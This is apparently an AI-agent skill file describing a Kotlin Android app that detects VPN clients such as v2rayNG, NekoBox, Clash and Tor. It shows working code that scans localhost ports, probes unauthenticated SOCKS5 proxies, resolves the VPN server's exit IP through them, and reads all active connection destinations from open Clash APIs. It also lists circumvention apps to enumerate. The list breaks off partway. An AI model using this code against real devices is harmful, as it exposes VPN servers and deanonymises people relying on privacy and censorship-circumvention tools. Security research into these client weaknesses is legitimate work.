- name
- yourvpndead-vpn-detection
- description
- Android app that detects VPN/proxy servers (VLESS/xray/sing-box) via local SOCKS5 vulnerability, exposing exit IPs and server configs without root
- triggers
- ["detect VPN server IP on Android","scan localhost SOCKS5 proxy ports","find xray v2rayNG exposed ports","check if VPN app is leaking server IP","scan sing-box clash API on localhost","detect VPN using Android network capabilities","find open proxy ports on Android device","check VPN client vulnerability android"]
# YourVPNDead — Android VPN Detection & SOCKS5 Vulnerability Scanner
> Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection.
Android app (Kotlin + Jetpack Compose) demonstrating that any app — without root or special permissions — can detect VPN usage, identify the VPN client, and retrieve the VPN server's exit IP through unauthenticated SOCKS5 proxies exposed on localhost by popular VPN clients (v2rayNG, NekoBox, Hiddify, etc.).
## Build & Install
```bash
git clone https://github.com/loop-uh/yourvpndead.git
cd yourvpndead
./gradlew assembleDebug
# Output: app/build/outputs/apk/debug/app-debug.apk
adb install app/build/outputs/apk/debug/app-debug.apk
```
Or download the pre-built APK from [Releases](https://github.com/loop-uh/yourvpndead/releases).
**Required permissions** (`AndroidManifest.xml`):
```xml
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
```
## Architecture
```
ScanOrchestrator (14 phases)
├── ProfileDetector — work profile, isolation, VPN status
├── ProcNetScanner — /proc/net/tcp fingerprinting
├── DirectSignsChecker — 6 direct VPN checks
├── IndirectSignsChecker — 5 indirect checks (MTU, DNS, dumpsys)
├── DeviceInfoCollector — device fingerprint
├── PortScanner — TCP scan IPv4 + IPv6 localhost
├── Socks5Probe — proxy type identification
├── XrayAPIDetector — xray gRPC API detection
├── ClashAPIProbe — Clash REST API probe
├── AuthProbe — auth analysis + brute-force demo
├── ExitIPResolver — exit IP via SOCKS5
└── GeoLocator — IP geolocation
```
**Stack**: Kotlin, Jetpack Compose, Material 3, Coroutines, MVVM (ViewModel + StateFlow)
## Key Detection Modules
### 1. Direct VPN Signs — `DirectSignsChecker.kt`
Detects VPN via standard (and hidden) Android APIs:
```kotlin
// Check TRANSPORT_VPN capability
val connectivityManager = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
val network = connectivityManager.activeNetwork
val caps = connectivityManager.getNetworkCapabilities(network)
val hasVpnTransport = caps?.hasTransport(NetworkCapabilities.TRANSPORT_VPN) == true
// Check hidden IS_VPN flag (not in public API)
val capsString = caps?.toString() ?: ""
val hasIsVpn = capsString.contains("IS_VPN")
val hasVpnTransportInfo = capsString.contains("VpnTransportInfo")
// Check system proxy properties
val httpProxyHost = System.getProperty("http.proxyHost")
val socksProxyHost = System.getProperty("socksProxyHost")
// Check NOT_VPN capability absence (inverse detection)
val notVpnCapability = caps?.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN) == true
// If false → network IS a VPN
```
### 2. VPN Interface Detection
```kotlin
import java.net.NetworkInterface
fun detectVpnInterfaces(): List<String> {
val vpnPatterns = listOf(
Regex("^tun\\d+$"),
Regex("^tap\\d+$"),
Regex("^wg\\d+$"),
Regex("^ppp\\d+$"),
Regex("^ipsec.*$")
)
return NetworkInterface.getNetworkInterfaces()
.toList()
.filter { iface -> vpnPatterns.any { it.matches(iface.name) } }
.map { it.name }
}
// Check MTU anomaly (VPN lowers MTU due to encapsulation overhead)
fun checkMtuAnomaly(): Boolean {
return NetworkInterface.getNetworkInterfaces()
.toList()
.filter { it.isUp && !it.isLoopback }
.any { it.mtu in 1..1499 } // Standard Ethernet = 1500
}
// WireGuard: ~1420, OpenVPN: ~1400, VLESS/xray: ~1380-1400
```
### 3. /proc/net/tcp Scanner — `ProcNetScanner.kt`
Reads listening ports without root:
```kotlin
fun scanProcNetTcp(): List<Int> {
val openPorts = mutableListOf<Int>()
listOf("/proc/net/tcp", "/proc/net/tcp6").forEach { path ->
try {
File(path).forEachLine { line ->
val parts = line.trim().split("\\s+".toRegex())
if (parts.size >= 4) {
val state = parts[3]
if (state == "0A") { // 0A = LISTEN
val localAddress = parts[1]
val portHex = localAddress.split(":").lastOrNull()
portHex?.toIntOrNull(16)?.let { openPorts.add(it) }
}
}
}
} catch (e: Exception) { /* May be restricted on newer Android */ }
}
return openPorts
}
// Fingerprint VPN client by port pattern
fun fingerprintClient(ports: List<Int>): String {
return when {
10808 in ports && 10809 in ports && 19085 in ports -> "v2rayNG / xray"
2080 in ports -> "NekoBox / sing-box"
7890 in ports && 7891 in ports && 9090 in ports -> "Clash / mihomo"
3066 in ports && 3067 in ports -> "Karing"
19090 in ports -> "sing-box (Clash API — IP leak via /connections!)"
else -> "Unknown"
}
}
```
### 4. Port Scanner — `PortScanner.kt`
TCP connect scan on 127.0.0.1 and ::1:
```kotlin
import kotlinx.coroutines.*
import java.net.InetSocketAddress
import java.net.Socket
suspend fun scanKnownPorts(
timeout: Int = 300,
parallelism: Int = 32
): List<Int> = coroutineScope {
val knownVpnPorts = listOf(
// xray / v2rayNG
10808, 10809, 10810, 10085, 19085,
// sing-box / NekoBox
2080, 2081, 3066, 3067,
// Clash / mihomo
7890, 7891, 7892, 7893, 9090, 19090,
// Common proxy
1080, 8080, 8118, 9050, 3128,
// Yandex.Metrica tracking
29009, 29010, 30102, 30103,
// Meta Pixel
12387, 12388, 12389
)
val semaphore = kotlinx.coroutines.sync.Semaphore(parallelism)
knownVpnPorts.map { port ->
async(Dispatchers.IO) {
semaphore.withPermit {
try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeout)
port // Return port if connected
}
} catch (e: Exception) { null }
}
}
}.awaitAll().filterNotNull()
}
// Full scan 1-65535
suspend fun fullPortScan(timeout: Int = 200): List<Int> = coroutineScope {
val semaphore = kotlinx.coroutines.sync.Semaphore(32)
(1..65535).map { port ->
async(Dispatchers.IO) {
semaphore.withPermit {
try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeout)
port
}
} catch (e: Exception) { null }
}
}
}.awaitAll().filterNotNull()
}
```
### 5. SOCKS5 Probe — `Socks5Probe.kt`
Identify proxy type and check for authentication:
```kotlin
import java.io.InputStream
import java.io.OutputStream
import java.net.Socket
enum class ProxyType { SOCKS5_NO_AUTH, SOCKS5_AUTH_REQUIRED, HTTP_CONNECT, GRPC, UNKNOWN }
fun probePort(port: Int, timeoutMs: Int = 2000): ProxyType {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeoutMs)
socket.soTimeout = timeoutMs
val out: OutputStream = socket.getOutputStream()
val inp: InputStream = socket.getInputStream()
// SOCKS5 handshake: VER=5, NMETHODS=1, METHOD=NO_AUTH(0x00)
out.write(byteArrayOf(0x05, 0x01, 0x00))
out.flush()
val response = ByteArray(2)
inp.read(response)
when {
response[0] == 0x05.toByte() && response[1] == 0x00.toByte() ->
ProxyType.SOCKS5_NO_AUTH // Vulnerable!
response[0] == 0x05.toByte() && response[1] == 0x02.toByte() ->
ProxyType.SOCKS5_AUTH_REQUIRED // Protected
else -> ProxyType.UNKNOWN
}
}
} catch (e: Exception) { ProxyType.UNKNOWN }
}
// HTTP CONNECT probe
fun probeHttpConnect(port: Int): Boolean {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), 2000)
val out = socket.getOutputStream()
out.write("CONNECT example.com:443 HTTP/1.1\r\nHost: example.com:443\r\n\r\n".toByteArray())
out.flush()
val response = socket.getInputStream().bufferedReader().readLine() ?: ""
response.contains("200") || response.contains("407") || response.startsWith("HTTP")
}
} catch (e: Exception) { false }
}
```
### 6. Exit IP Resolution via SOCKS5 — `ExitIPResolver.kt`
Get VPN server's real IP through unauthenticated SOCKS5:
```kotlin
import java.net.InetAddress
import java.net.Socket
fun resolveExitIpViaSocks5(
socksPort: Int,
targetHost: String = "api.ipify.org",
targetPort: Int = 80
): String? {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", socksPort), 3000)
socket.soTimeout = 5000
val out = socket.getOutputStream()
val inp = socket.getInputStream()
// SOCKS5 handshake
out.write(byteArrayOf(0x05, 0x01, 0x00)); out.flush()
val auth = ByteArray(2); inp.read(auth)
if (auth[1] != 0x00.toByte()) return null // Auth required
// CONNECT request (ATYP=0x03 domain name)
val hostBytes = targetHost.toByteArray()
val request = byteArrayOf(
0x05, // VER
0x01, // CMD = CONNECT
0x00, // RSV
0x03, // ATYP = domain
hostBytes.size.toByte() // domain length
) + hostBytes + byteArrayOf(
(targetPort shr 8).toByte(),
(targetPort and 0xFF).toByte()
)
out.write(request); out.flush()
// Read response (10 bytes for IPv4)
val resp = ByteArray(10); inp.read(resp)
if (resp[1] != 0x00.toByte()) return null // Connection failed
// HTTP GET to ipify
out.write("GET / HTTP/1.1\r\nHost: $targetHost\r\nConnection: close\r\n\r\n".toByteArray())
out.flush()
val response = inp.bufferedReader().readText()
// Response body is the exit IP
response.lines().last { it.matches(Regex("\\d+\\.\\d+\\.\\d+\\.\\d+")) }
}
} catch (e: Exception) { null }
}
```
### 7. Clash REST API Probe — `ClashAPIProbe.kt`
sing-box/mihomo expose Clash API on localhost without auth by default:
```kotlin
import java.net.HttpURLConnection
import java.net.URL
import org.json.JSONObject
data class ClashApiResult(
val isOpen: Boolean,
val connections: List<String> = emptyList(), // Contains destination IPs!
val proxies: List<String> = emptyList(),
val externalController: String? = null
)
fun probeClashApi(port: Int = 9090, timeoutMs: Int = 3000): ClashApiResult {
val baseUrl = "http://127.0.0.1:$port"
return try {
// Check /configs for external-controller info
val configUrl = URL("$baseUrl/configs")
val configConn = configUrl.openConnection() as HttpURLConnection
configConn.connectTimeout = timeoutMs
configConn.readTimeout = timeoutMs
if (configConn.responseCode != 200) return ClashApiResult(false)
val config = JSONObject(configConn.inputStream.bufferedReader().readText())
// GET /connections — reveals ALL active connection destination IPs
val connUrl = URL("$baseUrl/connections")
val connConn = connUrl.openConnection() as HttpURLConnection
connConn.connectTimeout = timeoutMs
val connData = JSONObject(connConn.inputStream.bufferedReader().readText())
val destinationIps = mutableListOf<String>()
val connections = connData.optJSONArray("connections")
if (connections != null) {
for (i in 0 until connections.length()) {
val conn = connections.getJSONObject(i)
conn.optJSONObject("metadata")?.optString("destinationIP")
?.takeIf { it.isNotEmpty() }
?.let { destinationIps.add(it) }
}
}
ClashApiResult(
isOpen = true,
connections = destinationIps,
externalController = config.optString("external-controller")
)
} catch (e: Exception) { ClashApiResult(false) }
}
// Ports to check for Clash API
val clashApiPorts = listOf(9090, 19090, 8080, 9091, 8090)
```
### 8. VPN App Detection — `DirectSignsChecker.kt`
Enumerate installed VPN apps (requires QUERY_ALL_PACKAGES on Android 11+):
```kotlin
val vpnPackages = mapOf(
"com.v2ray.ang" to "v2rayNG",
"io.nekohasekai.sfa" to "sing-box (SFA)",
"app.hiddify.com" to "Hiddify",
"com.github.shadowsocks" to "Shadowsocks",
"com.matsuridayo.matsuri" to "NekoBox",
"io.nekohasekai.sagernet" to "NekoBox/SagerNet",
"com.clashforwindows.clash" to "ClashMeta",
"com.byedpi" to "ByeDPI",
"org.outline.android.client" to "Outline",
"com.psiphon3" to "Psiphon",
"us.lantern.lantern" to "Lantern",
"com.wireguard.android" to "WireGuard",
"org.torproject.torbrowser" to "Tor Browser",
在 GitHub 查看